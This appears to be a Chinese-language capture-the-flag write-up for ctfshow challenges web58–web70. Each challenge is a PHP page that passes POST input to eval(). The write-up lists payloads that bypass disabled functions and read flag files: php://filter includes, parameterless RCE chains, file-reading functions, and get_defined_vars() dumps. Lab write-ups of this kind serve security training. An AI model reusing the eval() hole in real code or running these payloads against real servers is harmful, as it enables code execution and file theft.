web58
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
这里要用post上传,也不知道禁用了什么,所以我们来通过phpinfo()来看看都禁用了些什么,
很遗憾,phpinfo也被禁用了,那我们就来一个一个试试,哪些没有被禁。
可以看到
System("");
Echo'';
passthru('')
exec("");
shell_exec("");
这些命令都被禁用了,那我们尝试一下我们之前学的方法行不行,
首先按照这道题的思路,一些命令不能用,所以我们要首选不用命令的方法
一般的直接命令执行肯定用不了
eval嵌套用不,因为嵌套内容用到了上面的命令
data伪协议用不,内容也有上面的命令
双写绕过用不,一是没有黑洞没那个必要,而是一些命令被禁用了
include文件包含好像可以(没禁用就行)
无参数rce(没禁用就行)
一个一个试试看
include文件包含
发现可以,之后base64解码就能拿到flag
url/1=php://filter/convert.base64-encode/resource=flag.php
psot内容:c=include($_GET[1]);
无参数rce
发现可以,拿到flag
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
肯定还有其他方法,抛开以前的方法,我们接下来的思路是试没被禁用的函数
我这里直接用flag.php是因为题给的就是flag.php,所以就直接用了,
按照正常的步骤,应该查flag在那个文件里,所看下面操作
我们通过无参数rce里的部分函数进行对flag所在文件进行查找,
print_r(scandir(pos(localeconv())));
发现flag.php,
或者
c=print_r(scandir('.'));
这时我们不继续按无参数rce的方法来做,我们拿到了flag.php的文件名,所以我们可以尝试用直接查看文件内容的函数,这叫文件读取。
c=echo file_get_contents('falg.php');
c=show_source('flag.php');
c=highlight_file("flag.php");
c=print_r(file('flag.php'));
file_get_contents()
是一个 PHP 函数,用于将整个文件的内容读入一个字符串。这个函数非常方便,因为它可以快速读取文件内容,而不需要逐行读取或使用其他更低级别的文件操作函数。
show_source()
函数是用于显示指定文件的源代码的内置函数
highlight_file()
是 PHP 的一个内置函数,用于突出显示文件的语法。
file()
: 此函数可以读取文件的内容并将其作为数组返回,其中每个元素包含文件的一行内容。
以上就是可以查看文件内容的函数,但有些函数需要与打印函数配合才会有回显。
然后查看源代码
还有一种方法,知道文件名,但不知道变量名的方法
c=include('flag.php');print_r(get_defined_vars());
include('flag.php');会把包含flag的文件包含到我们所在的文件里
get_defined_vars()
是 PHP 中的一个函数,它返回一个包含所有已定义变量(包括超全局变量)的数组。这个数组中的变量名是变量的名字,值是变量的值。
print_r()
是 PHP 中的一个函数,用于打印关于变量的详细信息。
所以这段命令把含flag的变量包含到当前文件内进行变量注册,然后我们查看当前文件内的变量以及值,即可拿到flag
如果知道文件名和变量名的话还可以这样写
c=include('flag.php');echo $flag;
文件被包含过来,那变量也被包含过来,我们直接输出变量即可
就目前web58这道题可以用很多方法
include文件包含(已知文件名或两个都知道)
无参数rce
变量注册(已知文件名,不知变量名)
文件读取(已知文件名)
其中文件读取内,也有很多用于读取的函数
接下来的web59-65的思路与web58一样,方法一个一个试,在文件读取中,会有函数被禁。
web66
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
常规思路,找flag所在的位置
发现flag.php
但flag不在flag.php这个文件内,所以我们查看目录,找找flag是不是在其他目录里
c=print_r(scandir('/'));
我们用上面的命令查看目录
发现flag.txt
我们接下来查看flag.php即可
c=highlight_file("/flag.txt");
拿到flag
web67与web66同理,print_rb被禁用了可以用var_dump
web68
这里说了highlight_file()用不了,我试了一下其他那几个读取函数都用不了,所以就没办法文件读取和无参数rce,但我们可以试试include和变量注册
c=include('flag.php');var_dump(get_defined_vars());
我们通过输出变量,发现flag.php内无flag
c=var_dump(scandir('/'));
查看目录,发现flag.txt
c=include('/flag.txt');var_dump(get_defined_vars());
我们可以包含+输出变量
或者
c=include('/flag.txt');
直接输出
因为flag.txt内不含<?php ?>,所以内容会直接以html输出
web69-70的思路与web68一样,需要找到flag的真实位置,var_dump被禁用了可以用var_export